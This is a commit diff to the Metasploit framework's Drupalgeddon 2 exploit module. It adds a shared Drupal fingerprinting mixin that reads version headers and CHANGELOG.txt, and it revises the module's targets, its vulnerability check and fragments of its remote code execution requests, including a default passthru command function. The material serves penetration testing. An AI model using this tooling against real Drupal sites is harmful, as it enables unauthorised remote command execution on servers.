Fix rapid7#9876, second round of Drupalgeddon 2 updates

Thanks to a reviewer for noticing my drupal_unpatched? method was
tri-state because of an unrefactored return. Oops! :)

lib/msf/core/exploit/http/drupal.rb

@@ -0,0 +1,74 @@
+module Msf
+module Exploit::Remote::HTTP::Drupal
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Path to Drupal install', '/'])
+    ])
+  end
+
+  def setup
+    super
+
+    # Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)
+    # XXX: Naughty datastore modification instead of send_request_cgi!
+    datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')
+  end
+
+  def drupal_version
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path)
+    )
+
+    return unless res && res.code == 200
+
+    # Check for an X-Generator header
+    version = version_match(res.headers['X-Generator'])
+
+    return version if version
+
+    # Check for a <meta> tag
+    generator = res.get_html_document.at(
+      '//meta[@name = "Generator"]/@content'
+    )
+
+    return unless generator
+
+    version_match(generator.value)
+  end
+
+  def drupal_changelog(version)
+    return unless version && Gem::Version.correct?(version)
+
+    uri = Gem::Version.new(version) < Gem::Version.new('8') ?
+          normalize_uri(target_uri.path, 'CHANGELOG.txt') :
+          normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => uri
+    )
+
+    return unless res && res.code == 200
+
+    res.body
+  end
+
+  def version_match(string)
+    return unless string
+
+    # Perl devs love me; Ruby devs hate me
+    string =~ /^Drupal (\d+)/
+
+    return unless $1 && Gem::Version.correct?($1)
+
+    Gem::Version.new($1)
+  end
+
+end
+end

lib/msf/core/exploit/mixins.rb

@@ -114,6 +114,7 @@
 # Custom HTTP Modules
 require 'msf/core/exploit/http/wordpress'
 require 'msf/core/exploit/http/joomla'
+require 'msf/core/exploit/http/drupal'
 require 'msf/core/exploit/http/typo3'
 require 'msf/core/exploit/http/jboss'
 

modules/exploits/unix/webapp/drupal_drupalgeddon2.rb

@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   Rank = ExcellentRanking
 
-  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::Drupal
   # XXX: CmdStager can't handle badchars
   include Msf::Exploit::PhpEXE
   include Msf::Exploit::FileDropper
@@ -44,7 +44,6 @@ def initialize(info = {})
       'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
       'Privileged'     => false,
       'Payload'        => {'BadChars' => '&>\''},
-      # XXX: Using "x" in Gem::Version::new isn't technically appropriate
       'Targets'        => [
         #
         # Automatic targets (PHP, cmd/unix, native)
@@ -75,25 +74,25 @@ def initialize(info = {})
         ['Drupal 7.x (PHP In-Memory)',
          'Platform'    => 'php',
          'Arch'        => ARCH_PHP,
-         'Version'     => Gem::Version.new('7.x'),
+         'Version'     => Gem::Version.new('7'),
          'Type'        => :php_memory
         ],
         ['Drupal 7.x (PHP Dropper)',
          'Platform'    => 'php',
          'Arch'        => ARCH_PHP,
-         'Version'     => Gem::Version.new('7.x'),
+         'Version'     => Gem::Version.new('7'),
          'Type'        => :php_dropper
         ],
         ['Drupal 7.x (Unix In-Memory)',
          'Platform'    => 'unix',
          'Arch'        => ARCH_CMD,
-         'Version'     => Gem::Version.new('7.x'),
+         'Version'     => Gem::Version.new('7'),
          'Type'        => :unix_memory
         ],
         ['Drupal 7.x (Linux Dropper)',
          'Platform'    => 'linux',
          'Arch'        => [ARCH_X86, ARCH_X64],
-         'Version'     => Gem::Version.new('7.x'),
+         'Version'     => Gem::Version.new('7'),
          'Type'        => :linux_dropper
         ],
         #
@@ -102,25 +101,25 @@ def initialize(info = {})
         ['Drupal 8.x (PHP In-Memory)',
          'Platform'    => 'php',
          'Arch'        => ARCH_PHP,
-         'Version'     => Gem::Version.new('8.x'),
+         'Version'     => Gem::Version.new('8'),
          'Type'        => :php_memory
         ],
         ['Drupal 8.x (PHP Dropper)',
          'Platform'    => 'php',
          'Arch'        => ARCH_PHP,
-         'Version'     => Gem::Version.new('8.x'),
+         'Version'     => Gem::Version.new('8'),
          'Type'        => :php_dropper
         ],
         ['Drupal 8.x (Unix In-Memory)',
          'Platform'    => 'unix',
          'Arch'        => ARCH_CMD,
-         'Version'     => Gem::Version.new('8.x'),
+         'Version'     => Gem::Version.new('8'),
          'Type'        => :unix_memory
         ],
         ['Drupal 8.x (Linux Dropper)',
          'Platform'    => 'linux',
          'Arch'        => [ARCH_X86, ARCH_X64],
-         'Version'     => Gem::Version.new('8.x'),
+         'Version'     => Gem::Version.new('8'),
          'Type'        => :linux_dropper
         ]
       ],
@@ -129,7 +128,6 @@ def initialize(info = {})
     ))
 
     register_options([
-      OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
       OptString.new('PHP_FUNC',  [true, 'PHP function to execute', 'passthru']),
       OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
     ])
@@ -143,17 +141,25 @@ def initialize(info = {})
   def check
     checkcode = CheckCode::Safe
 
-    if drupal_version
+    @version = target['Version'] || drupal_version
+
+    if @version
       print_status("Drupal #{@version} targeted at #{full_uri}")
       checkcode = CheckCode::Detected
     else
       print_error('Could not determine Drupal version to target')
       return CheckCode::Unknown
     end
 
-    if drupal_unpatched?
+    changelog = drupal_changelog(@version)
+
+    if changelog && changelog.include?('SA-CORE-2018-002')
+      print_warning('Drupal appears patched in CHANGELOG.txt')
+    elsif changelog
       print_good('Drupal appears unpatched in CHANGELOG.txt')
       checkcode = CheckCode::Appears
+    else
+      print_error('Could not determine Drupal patch level')
     end
 
     token = random_crap
@@ -167,7 +173,7 @@ def check
   end
 
   def exploit
-    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
+    if check == CheckCode::Safe && datastore['ForceExploit'] == false
       fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
     end
 
@@ -282,9 +288,9 @@ def execute_command(cmd, opts = {})
 
     res =
       case @version.to_s
-      when '7.x'
+      when '7'
         exploit_drupal7(func, cmd)
-      when '8.x'
+      when '8'
         exploit_drupal8(func, cmd)
       end
 
@@ -300,72 +306,6 @@ def execute_command(cmd, opts = {})
     res
   end
 
-  def drupal_version
-    if target['Version']
-      @version = target['Version']
-      return @version
-    end
-
-    res = send_request_cgi(
-      'method' => 'GET',
-      'uri'    => target_uri.path
-    )
-
-    return unless res && res.code == 200
-
-    # Check for an X-Generator header
-    @version =
-      case res.headers['X-Generator']
-      when /Drupal 7/
-        Gem::Version.new('7.x')
-      when /Drupal 8/
-        Gem::Version.new('8.x')
-      end
-
-    return @version if @version
-
-    # Check for a <meta> tag
-    generator = res.get_html_document.at(
-      '//meta[@name = "Generator"]/@content'
-    )
-
-    return unless generator
-
-    @version =
-      case generator.value
-      when /Drupal 7/
-        Gem::Version.new('7.x')
-      when /Drupal 8/
-        Gem::Version.new('8.x')
-      end
-  end
-
-  def drupal_unpatched?
-    unpatched = true
-
-    # Check for patch level in CHANGELOG.txt
-    uri =
-      case @version.to_s
-      when '7.x'
-        normalize_uri(target_uri.path, 'CHANGELOG.txt')
-      when '8.x'
-        normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
-      end
-
-    res = send_request_cgi(
-      'method' => 'GET',
-      'uri'    => uri
-    )
-
-    return unless res && res.code == 200
-
-    if res.body.include?('SA-CORE-2018-002')
-      unpatched = false
-    end
-
-    unpatched
-  end
-
   def exploit_drupal7(func, code)
     vars_get = {
       'q'                    => 'user/password',
@@ -381,7 +321,7 @@ def exploit_drupal7(func, code)
 
     res = send_request_cgi(
       'method'    => 'POST',
-      'uri'       => target_uri.path,
+      'uri'       => normalize_uri(target_uri.path),
       'vars_get'  => vars_get,
       'vars_post' => vars_post
     )
@@ -404,7 +344,7 @@ def exploit_drupal7(func, code)
 
     send_request_cgi(
       'method'    => 'POST',
-      'uri'       => target_uri.path,
+      'uri'       => normalize_uri(target_uri.path),
       'vars_get'  => vars_get,
       'vars_post' => vars_post
     )